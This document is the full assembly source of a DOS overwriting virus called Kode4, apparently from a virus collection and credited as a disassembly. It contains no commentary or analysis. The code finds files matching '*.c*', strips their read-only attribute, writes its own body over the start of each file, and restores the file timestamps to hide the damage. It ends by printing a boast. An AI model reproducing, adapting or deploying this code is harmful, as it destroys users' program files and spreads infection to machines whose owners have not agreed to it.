OneHalf  Virii

Kode 4 v.1

; --------------------------------------------------------------------------
; Disassembled by FairWind / NRG , [email protected]
; --------------------------------------------------------------------------

seg_a segment byte public
assume cs:seg_a, ds:seg_a


org 100h
V_Length equ last-start
KODE4 proc far

start label near

mov ax,0ff0fh
int 21h
cmp ax,0101h
je done ; present


mov ah,4Eh
mov dx,offset filename
int 21h

Back:
mov ah,43h
mov al,0
mov dx,9eh
int 21h
mov ah,43h
mov al,01
and cx,11111110b
int 21h

mov ax,3D01h
mov dx,9Eh
int 21h

mov bx,ax
mov ah,57h
mov al,0
int 21h

push cx
push dx


mov dx,100h
mov cl,v_length
mov ah,40h
int 21h


pop dx
pop cx
mov ah,57h
mov al,01h
int 21h



mov ah,3Eh
int 21h

mov ah,4Fh
int 21h

jnc Back
mov ah,9h
mov dx,offset DATA
int 21h

done: int 20h
filename db "*.c*",0
DATA db " -=+ Kode4 +=-, The one and ONLY!$"


kode4 endp
LAST label near
seg_a ends
end start